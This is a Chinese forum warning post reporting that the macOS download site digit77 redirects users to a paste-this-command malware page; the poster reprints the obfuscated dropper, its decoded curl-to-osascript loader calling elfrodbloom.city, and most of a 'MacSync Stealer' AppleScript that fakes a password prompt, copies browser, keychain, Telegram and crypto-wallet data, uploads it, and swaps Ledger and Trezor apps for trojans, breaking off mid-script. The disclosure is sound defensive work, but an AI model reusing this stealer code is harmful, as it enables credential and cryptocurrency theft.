每日签到奶昔超市积分商城奶昔访达
返回列表 发布新帖
查看: 231|回复: 2

[安全] Mac软件下载站digit77已被投毒,大家小心

发表于 2025-11-24 16:48:23 | 查看全部 |阅读模式

欢迎注册论坛,享受更多奶昔会员权益!

您需要 登录 才可以下载或查看,没有账号?注册

×
本帖最后由 amo123 于 2025-11-24 16:50 编辑

隔壁佬友分享,某macOS软件下载站https://www.digit77.com/有投毒行为。
站内的所有 app 第一次点击都会进入地址:https://maccloud12.com/q4/ 第二次点击会正常
投毒为静态页面上挂了一个点击事件

投毒页面如下图:

复制命令执行后将会弹出一个伪装密码输入框,输入后将会被窃取各种信息。
其中 curl base64 执行后会下载一个 shell 脚本,内容如下:
  1. #!/bin/zsh
  2. d13161=$(base64 -D <<'PAYLOAD_m965718025908' | gunzip
  3. H4sIALB9HWkAA+VUXW/TMBR976+4eNW0SeTD+W5H2SYkGBrTkDbEJECVY1+3Vh07SlzoBvx3Qjd1
  4. WekTT0j4KTr3+OTec26y9ywolQnu2vlAMKysmcql4U5Zc3AI3wfQHVwhhxeBwK+BWWr9iL3cgUVb
  5. oLacaRC2YspMCGrZWFFqayufK3dLehxnF9hRQlbQkie5iIskyqiIikSWUUmjLEWeh0WeilEhBZcR
  6. HRV0lGKZ5LnMk2gUJygi2ZdktZou8HZCUjoKUdI8jmkRs1DwLJZlFsVxmss0E9n9JSXhEwz3wJs5
  7. COHLEbg5mnXl9+HLRoO3AK8Fz6vYynOqQohD8M6AfGix8U5naNwYLuyd0poFqR/CwQXjyjjbzo/g
  8. rXGooQPg8gpugIZTmk7zQzita40fsTxXLkjj3I8zODg/u7549xy0WiC8Qb6wh/Bq3tgKgxH1Qz9J
  9. 8sinNIErJlmjHq6RdSvd0F439BiGD+MTIHPn6nEQDO9zCMStYZXix24lJsO17/v1t+6REvgBtmUt
  10. b1Tt7kPVLf4fFvw5u1S9tTgGz+COtcCVckD7/I1LN/D+8uoaPm+4/5JPW13tsGyLwfUYwqdofwfC
  11. J5XXQKTSODkJXFUHna3azmbKzPw7VZNtZrlUWvSD6NW3c5sxh+SvYmkq8CTs6Gfwc9Bpbf39gAxP
  12. COw/iq4Fw8Hme3h4QSf+C0p6p/5DBQAA
  13. PAYLOAD_m965718025908
  14. )
  15. eval $d13161
复制代码
收起

解码可得:
  1. daemon_function() {
  2.     exec </dev/null
  3.     exec >/dev/null
  4.     exec 2>/dev/null
  5.     local domain="elfrodbloom.city"
  6.     local token="0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f"
  7.     local api_key="5190ef1733183a0dc63fb623357f56d6"
  8.     if [ $# -gt 0 ]; then
  9.         curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
  10.     else
  11.         curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
  12.     fi
  13.     if [ $? -ne 0 ]; then
  14.         exit 1
  15.     fi
  16.     curl -k -X POST \
  17.          -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
  18.          -H "api-key: $api_key" \
  19.          -H "cl: 0" \
  20.          --max-time 300 \
  21.          -F "file=@/tmp/osalogging.zip" \
  22.          -F "buildtxd=$token" \
  23.          "http://$domain/gate"
  24.     if [ $? -ne 0 ]; then
  25.         exit 1
  26.     fi
  27.     rm -f /tmp/osalogging.zip
  28. }
  29. if daemon_function "$@" & then
  30.     exit 0
  31. else
  32.     exit 1
  33. fi
复制代码
收起

其中会再次下载一个木马程序:
  1. on filesizer(paths)
  2.         set fsz to 0
  3.         try
  4.                 set theItem to quoted form of POSIX path of paths
  5.                 set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
  6.         end try
  7.         return fsz
  8. end filesizer

  9. on mkdir(someItem)
  10.         try
  11.                 set filePosixPath to quoted form of (POSIX path of someItem)
  12.                 do shell script "mkdir -p " & filePosixPath
  13.         end try
  14. end mkdir

  15. on FileName(filePath)
  16.         try
  17.                 set reversedPath to (reverse of every character of filePath) as string
  18.                 set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
  19.                 set finalPath to (reverse of every character of trimmedPath) as string
  20.                 return finalPath
  21.         end try
  22. end FileName

  23. on BeforeFileName(filePath)
  24.         try
  25.                 set lastSlash to offset of "/" in (reverse of every character of filePath) as string
  26.                 set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
  27.                 return trimmedPath
  28.         end try
  29. end BeforeFileName

  30. on writeText(textToWrite, filePath)
  31.         try
  32.                 set folderPath to BeforeFileName(filePath)
  33.                 mkdir(folderPath)
  34.                 set fileRef to (open for access filePath with write permission)
  35.                 write textToWrite to fileRef starting at eof
  36.                 close access fileRef
  37.         end try
  38. end writeText

  39. on readwrite(path_to_file, path_as_save)
  40.         try
  41.                 set fileContent to read path_to_file
  42.                 set folderPath to BeforeFileName(path_as_save)
  43.                 mkdir(folderPath)
  44.                 do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
  45.         end try
  46. end readwrite

  47. on isDirectory(someItem)
  48.         try
  49.                 set filePosixPath to quoted form of (POSIX path of someItem)
  50.                 set fileType to (do shell script "file -b " & filePosixPath)
  51.                 if fileType ends with "directory" then
  52.                         return true
  53.                 end if
  54.                 return false
  55.         end try
  56. end isDirectory

  57. on GrabFolderLimit(sourceFolder, destinationFolder)
  58.         try
  59.                 set bankSize to 0
  60.                 set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
  61.                 set fileList to list folder sourceFolder without invisibles
  62.                 mkdir(destinationFolder)
  63.                 repeat with currentItem in fileList
  64.                         if currentItem is not in exceptionsList then
  65.                                 set itemPath to sourceFolder & "/" & currentItem
  66.                                 set savePath to destinationFolder & "/" & currentItem
  67.                                 if isDirectory(itemPath) then
  68.                                         GrabFolderLimit(itemPath, savePath)
  69.                                 else
  70.                                         set fsz to filesizer(itemPath)
  71.                                         set bankSize to bankSize + fsz
  72.                                         if bankSize < 100 * 1024 * 1024 then
  73.                                                 readwrite(itemPath, savePath)
  74.                                         end if
  75.                                 end if
  76.                         end if
  77.                 end repeat
  78.         end try
  79. end GrabFolderLimit

  80. on GrabFolder(sourceFolder, destinationFolder)
  81.         try
  82.                 set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
  83.                 set fileList to list folder sourceFolder without invisibles
  84.                 mkdir(destinationFolder)
  85.                 repeat with currentItem in fileList
  86.                         if currentItem is not in exceptionsList then
  87.                                 set itemPath to sourceFolder & "/" & currentItem
  88.                                 set savePath to destinationFolder & "/" & currentItem
  89.                                 if isDirectory(itemPath) then
  90.                                         GrabFolder(itemPath, savePath)
  91.                                 else
  92.                                         readwrite(itemPath, savePath)
  93.                                 end if
  94.                         end if
  95.                 end repeat
  96.         end try
  97. end GrabFolder

  98. on checkvalid(username, password_entered)
  99.         try
  100.                 set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
  101.                 if result is not equal to "" then
  102.                         return false
  103.                 else
  104.                         return true
  105.                 end if
  106.         on error
  107.                 return false
  108.         end try
  109. end checkvalid

  110. on getpwd(username, writemind, provided_password)
  111.     try
  112.         if provided_password is not equal to "" then
  113.             if checkvalid(username, provided_password) then
  114.                 writeText(provided_password, writemind & "Password")
  115.                 return provided_password
  116.             end if
  117.         end if
  118.         if checkvalid(username, "") then
  119.             set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga "Chrome" | awk "{print $2}""
  120.             writeText(result as string, writemind & "masterpass-chrome")
  121.             return ""
  122.         else
  123.             repeat
  124.                                 set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
  125.                 set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
  126.                 set password_entered to text returned of result
  127.                 if checkvalid(username, password_entered) then
  128.                     writeText(password_entered, writemind & "Password")
  129.                     return password_entered
  130.                 end if
  131.             end repeat
  132.         end if
  133.     end try
  134.     return ""
  135. end getpwd

  136. on grabPlugins(paths, savePath, pluginList, index)
  137.         try
  138.                 set fileList to list folder paths without invisibles
  139.                 repeat with PFile in fileList
  140.                         repeat with Plugin in pluginList
  141.                                 if (PFile contains Plugin) then
  142.                                         set newpath to paths & PFile
  143.                                         set newsavepath to savePath & "/" & Plugin
  144.                                         if index then
  145.                                                 set newsavepath to savePath & "/IndexedDB/" & PFile
  146.                                         end if
  147.                                         GrabFolder(newpath, newsavepath)
  148.                                 end if
  149.                         end repeat
  150.                 end repeat
  151.         end try
  152. end grabPlugins

  153. on Chromium(writemind, chromium_map)

  154.         set pluginList to {}
  155.     set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
  156.     set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
  157.     set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
  158.     set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
  159.     set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
  160.     set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
  161.     set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
  162.     set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
  163.     set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
  164.     set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
  165.     set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
  166.     set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
  167.     set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
  168.     set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
  169.     set pluginList to pluginList & {"dckgbiealcgdhgjofgcignfngijpbgba", "gmegpkknicehidppoebnmbhndjigpica"}
  170.     set pluginList to pluginList & {"eiokpeobbgpinbmcanngjjbklmhlepan", "odfkmgboddhcgopllebhkbjhokpojigd"}
  171.     set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
  172.     set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
  173.     set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
  174.     set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}

  175.         set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
  176.         repeat with chromium in chromium_map
  177.                 set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
  178.                 try
  179.                         set fileList to list folder item 2 of chromium without invisibles
  180.                         repeat with currentItem in fileList
  181.                                 if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
  182.                                         set profileName to (item 1 of chromium & currentItem)
  183.                                         repeat with CFile in chromiumFiles
  184.                                                 set readpath to (item 2 of chromium & currentItem & CFile)
  185.                                                 if ((CFile as string) is equal to "/Network/Cookies") then
  186.                                                         set CFile to "/Cookies"
  187.                                                 end if
  188.                                                 if ((CFile as string) is equal to "/Local Extension Settings/") then
  189.                                                         grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
  190.                                                 else if (CFile as string) is equal to "/IndexedDB/" then
  191.                                                         grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
  192.                                                 else
  193.                                                         set writepath to savePath & currentItem & CFile
  194.                                                         readwrite(readpath, writepath)
  195.                                                 end if
  196.                                         end repeat
  197.                                 end if
  198.                         end repeat
  199.                 end try
  200.         end repeat
  201. end Chromium

  202. on ChromiumWallets(writemind, chromium_map)

  203.         set pluginList to {}
  204.         set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
  205.         set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
  206.         set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
  207.         set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "fhbohimaelbohpjbbldcngcnapndodjp"}
  208.         set pluginList to pluginList & {"pdliaogehgdbhbnmkklieghmmjkpigpa", "mcohilncbfahbmgdjkbpemcciiolgcge"}
  209.         set pluginList to pluginList & {"hpglfhgfnhbgpjdenjgmdgoeiappafln", "bhhhlbepdkbapadjdnnojkbgioiodbic"}
  210.         set pluginList to pluginList & {"dhgnlgphgchebgoemcjekedjjbifijid", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
  211.         set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
  212.         set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
  213.         set pluginList to pluginList & {"pdadjkfkgcafgbceimcpbkalnfnepbnk", "kjjebdkfeagdoogagbhepmbimaphnfln"}
  214.         set pluginList to pluginList & {"ldinpeekobnhjjdofggfgjlcehhmanlj", "dkdedlpgdmmkkfjabffeganieamfklkm"}
  215.         set pluginList to pluginList & {"bcopgchhojmggmffilplmbdicgaihlkp", "kpfchfdkjhcoekhdldggegebfakaaiog"}
  216.         set pluginList to pluginList & {"idnnbdplmphpflfnlkomgpfbpcgelopg", "mlhakagmgkmonhdonhkpjeebfphligng"}
  217.         set pluginList to pluginList & {"bipdhagncpgaccgdbddmbpcabgjikfkn", "gcbjmdjijjpffkpbgdkaojpmaninaion"}
  218.         set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "hoighigmnhgkkdaenafgnefkcmipfjon"}
  219.         set pluginList to pluginList & {"klghhnkeealcohjjanjjdaeeggmfmlpl", "fhbohimaelbohpjbbldcngcnapndodjp"}
  220.         set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
  221.         set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}
  222.         set pluginList to pluginList & {"fhilaheimglignddkjgofkcbgekhenbh", "hmeobnfnfcmdkdcmlblgagmfpfboieaf"}
  223.         set pluginList to pluginList & {"cihmoadaighcejopammfbmddcmdekcje", "lodccjjbdhfakaekdiahmedfbieldgik"}
  224.         set pluginList to pluginList & {"omaabbefbmiijedngplfjmnooppbclkk", "cjelfplplebdjjenllpjcblmjkfcffne"}
  225.         set pluginList to pluginList & {"jnlgamecbpmbajjfhmmmlhejkemejdma", "fpkhgmpbidmiogeglndfbkegfdlnajnf"}
  226.         set pluginList to pluginList & {"bifidjkcdpgfnlbcjpdkdcnbiooooblg", "amkmjjmmflddogmhpjloimipbofnfjih"}
  227.         set pluginList to pluginList & {"flpiciilemghbmfalicajoolhkkenfel", "hcflpincpppdclinealmandijcmnkbgn"}
  228.         set pluginList to pluginList & {"aeachknmefphepccionboohckonoeemg", "dmkamcknogkgcdfhhbddcghachkejeap"}
  229.         set pluginList to pluginList & {"aiifbnbfobpmeekipheeijimdpnlpgpp"}

  230.         set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
  231.         repeat with chromium in chromium_map
  232.                 try
  233.                         set fileList to list folder item 2 of chromium without invisibles
  234.                         repeat with currentItem in fileList
  235.                                 if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
  236.                                         set profileName to (item 1 of chromium & currentItem)
  237.                                         repeat with CFile in chromiumFiles
  238.                                                 set readpath to (item 2 of chromium & currentItem & CFile)
  239.                                                 if ((CFile as string) is equal to "/Local Extension Settings/") then
  240.                                                         grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
  241.                                                 else if (CFile as string) is equal to "/IndexedDB/" then
  242.                                                         grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
  243.                                                 else
  244.                                                         set writepath to savePath & currentItem & CFile
  245.                                                         readwrite(readpath, writepath)
  246.                                                 end if
  247.                                         end repeat
  248.                                 end if
  249.                         end repeat
  250.                 end try
  251.         end repeat
  252. end Chromium


  253. on Telegram(writemind, library)
  254.                 try
  255.                         GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
  256.                 end try
  257. end Telegram

  258. on Keychains(writemind)
  259.                 try
  260.                         do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
  261.                 end try
  262. end Keychains


  263. on DesktopWallets(writemind, deskwals)
  264.         repeat with deskwal in deskwals
  265.                 try
  266.                         GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
  267.                 end try
  268.         end repeat
  269. end DesktopWallets

  270. on Filegrabber(writemind)
  271. try
  272.   set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
  273.   mkdir(destinationFolderPath)
  274.   set destinationSafariPath to POSIX file (writemind & "Safari/")
  275.   mkdir(destinationSafariPath)
  276.   set destinationNotesPath to POSIX file (writemind & "Notes/")
  277.   mkdir(destinationNotesPath)
  278.   set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}
  279.   set bankSize to 0
  280.   set fileCounter to 1

  281.   tell application "Finder"
  282.         try
  283.                 duplicate file ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:Cookies.binarycookies") to folder (destinationSafariPath) with replacing
  284.         end try
  285.         try
  286.                 set notesDB to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
  287.                 set dbFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
  288.                 repeat with dbFile in dbFiles
  289.                         try
  290.                                 duplicate (file dbFile of folder notesDB) to folder (destinationNotesPath) with replacing
  291.                         end try
  292.                 end repeat
  293.         end try
  294.         try
  295.                 set desktopFiles to every file of desktop
  296.                 set documentsFiles to every file of folder "Documents" of (path to home folder)
  297.                 set downloadsFiles to every file of folder "Downloads" of (path to home folder)

  298.                 repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
  299.                 set fileExtension to name extension of aFile
  300.                 if fileExtension is in extensionsList then
  301.                 set filesize to size of aFile
  302.                 if (bankSize + filesize) < 10 * 1024 * 1024 then
  303.                 try
  304.                         set newFileName to (fileCounter as string) & "." & fileExtension
  305.                         duplicate aFile to folder destinationFolderPath with replacing
  306.                         set destFolderAlias to destinationFolderPath as alias
  307.                         tell application "Finder"
  308.                         set copiedFiles to every file of folder destFolderAlias
  309.                         set lastCopiedFile to item -1 of copiedFiles
  310.                         set name of lastCopiedFile to newFileName
  311.                         end tell

  312.                         set bankSize to bankSize + filesize
  313.                         set fileCounter to fileCounter + 1
  314.                 end try
  315.                 else
  316.                 exit repeat
  317.                 end if
  318.                 end if
  319.                 end repeat
  320.         end try
  321.   end tell
  322. end try
  323. end Filegrabber


  324. on FilegrabberFDA(writemind, profile)
  325.         set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
  326.         mkdir(destinationFolderPath)
  327.         try

  328.                 set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
  329.                 set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx"}

  330.                 repeat with src in sourceFolders
  331.                         repeat with ext in extensionsList
  332.                                 try
  333.                                         set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
  334.                                         do shell script shellCmd
  335.                                 end try
  336.                         end repeat
  337.                 end repeat

  338.         end try
  339.         try
  340.                 readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
  341.                 readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
  342.                 readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
  343.         end try
  344.         try
  345.                 readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
  346.                 readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
  347.                 readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")

  348.         end try

  349. end Filegrabber



  350. try
  351.         do shell script "killall Terminal"
  352. end try

  353. set username to (system attribute "USER")
  354. set profile to "/Users/" & username
  355. set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
  356. set writemind to "/tmp/sync" & randomNumber & "/"

  357. set library to profile & "/Library/Application Support/"
  358. set password_entered to getpwd(username, writemind, "test")

  359. delay 0.01

  360. set chromiumMap to {}
  361. set chromiumMap to chromiumMap & {{"Yandex", library & "Yandex/YandexBrowser"}}
  362. set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
  363. set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
  364. set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
  365. set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
  366. set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
  367. set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
  368. set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}
  369. set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
  370. set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}
  371. set chromiumMap to chromiumMap & {{"Chrome Dev", library & "Google/Chrome Dev/"}}
  372. set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
  373. set chromiumMap to chromiumMap & {{"Coccoc", library & "CocCoc/Browser/"}}

  374. set walletMap to {}
  375. set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
  376. set walletMap to walletMap & {{"Wallets/Desktop/Electrum", profile & "/.electrum/wallets/"}}
  377. set walletMap to walletMap & {{"Wallets/Desktop/Atomic", library & "Atomic Wallet/Local Storage/leveldb/"}}
  378. set walletMap to walletMap & {{"Wallets/Desktop/Guarda", library & "Guarda/"}}
  379. set walletMap to walletMap & {{"Wallets/Desktop/Coinomi", library & "Coinomi/wallets/"}}
  380. set walletMap to walletMap & {{"Wallets/Desktop/Sparrow", profile & "/.sparrow/wallets/"}}
  381. set walletMap to walletMap & {{"Wallets/Desktop/Wasabi", profile & "/.walletwasabi/client/Wallets/"}}
  382. set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/"}}
  383. set walletMap to walletMap & {{"Wallets/Desktop/Armory", library & "Armory/"}}
  384. set walletMap to walletMap & {{"Wallets/Desktop/Electron_Cash", profile & "/.electron-cash/wallets/"}}
  385. set walletMap to walletMap & {{"Wallets/Desktop/Monero", profile & "/.bitmonero/wallets/"}}
  386. set walletMap to walletMap & {{"Wallets/Desktop/Litecoin_Core", library & "Litecoin/"}}
  387. set walletMap to walletMap & {{"Wallets/Desktop/Dash_Core", library & "DashCore/"}}
  388. set walletMap to walletMap & {{"Wallets/Desktop/Dogecoin_Core", library & "Dogecoin/"}}
  389. set walletMap to walletMap & {{"Wallets/Desktop/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}}
  390. set walletMap to walletMap & {{"Wallets/Desktop/BlueWallet", library & "BlueWallet/"}}
  391. set walletMap to walletMap & {{"Wallets/Desktop/Zengo", library & "Zengo/"}}
  392. set walletMap to walletMap & {{"Wallets/Desktop/Trust", library & "Trust Wallet/"}}
  393. set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
  394. set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}

  395. readwrite(library & "Binance/", writemind & "Wallets/Desktop/Binance/")
  396. readwrite(library & "TON Keeper/", writemind & "Wallets/Desktop/TonKeeper/")
  397. #readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "login.keychain-db")

  398. writeText(username, writemind & "Username")
  399. writeText("1.0.9_release (x64_86 & ARM)", writemind & "Version")

  400. try
  401.         writeText("MacSync Stealer\n\n", writemind & "info")
  402.         writeText("Build Tag: q4\n", writemind & "info")
  403.         writeText("Version: 1.0.9_release (x64_86 & ARM)\n\n", writemind & "info")
  404.         writeText("Username: " & username, writemind & "info")
  405.         writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
  406.         set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
  407.         writeText(result, writemind & "info")
  408. end try

  409. Chromium(writemind, chromiumMap)
  410. ChromiumWallets(writemind, chromiumMap)
  411. DesktopWallets(writemind, walletMap)
  412. Telegram(writemind, library)
  413. Keychains(writemind)



  414. try
  415.         do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
  416. end try
  417. try
  418.         do shell script "rm -rf /tmp/sync*"
  419. end try

  420. display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}


  421. set LEDGERURL to "https://elfrodbloom.city/ledger/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f"
  422. set LEDGERDMGPATH to "/tmp/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f.zip"
  423. set LEDGERMOUNT to "/tmp"
  424. set LEDGERNAME to "Ledger Live.app"
  425. set LEDGERPATH to LEDGERMOUNT & "/" & LEDGERNAME
  426. set LEDGERAPPFOLDER to "/Applications"
  427. set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME

  428. try
  429.     do shell script "test -d " & quoted form of LEDGERDEST
  430.     set ledger_installed to true
  431. on error
  432.     set ledger_installed to false
  433. end try

  434. if ledger_installed then
  435.     try
  436.         do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
  437.         do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
  438.         set app_exists to false
  439.         try
  440.             do shell script "test -e " & quoted form of LEDGERPATH
  441.             set app_exists to true
  442.         end try

  443.         if app_exists then
  444.             try
  445.                 do shell script "killall -9 'Ledger Live'"
  446.             end try
  447.             do shell script "rm -rf " & quoted form of LEDGERDEST
  448.             do shell script "cp -R " & quoted form of LEDGERPATH & " " & quoted form of LEDGERAPPFOLDER
  449.         end if
  450.     end try

  451.     try
  452.         do shell script "rm -rf " & quoted form of LEDGERDMGPATH
  453.         do shell script "rm -rf " & quoted form of LEDGERPATH
  454.     end try
  455. end if

  456. set TREZORURL to "https://elfrodbloom.city/trezor/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f"
  457. set TREZORDMGPATH to "/tmp/0a81bc47d384261d284fb2b1265ec70875d98fdcf2198195eb477f742934ed2f.zip"
  458. set TREZORMOUNT to "/tmp"
  459. set TREZORNAME to "Trezor Suite.app"
  460. set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
  461. set TREZORAPPFOLDER to "/Applications"
  462. set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME

  463. try
  464.     do shell script "test -d " & quoted form of TREZORDEST
  465.     set trezor_installed to true
  466. on error
  467.     set trezor_installed to false
  468. end try

  469. if trezor_installed then
  470.     try
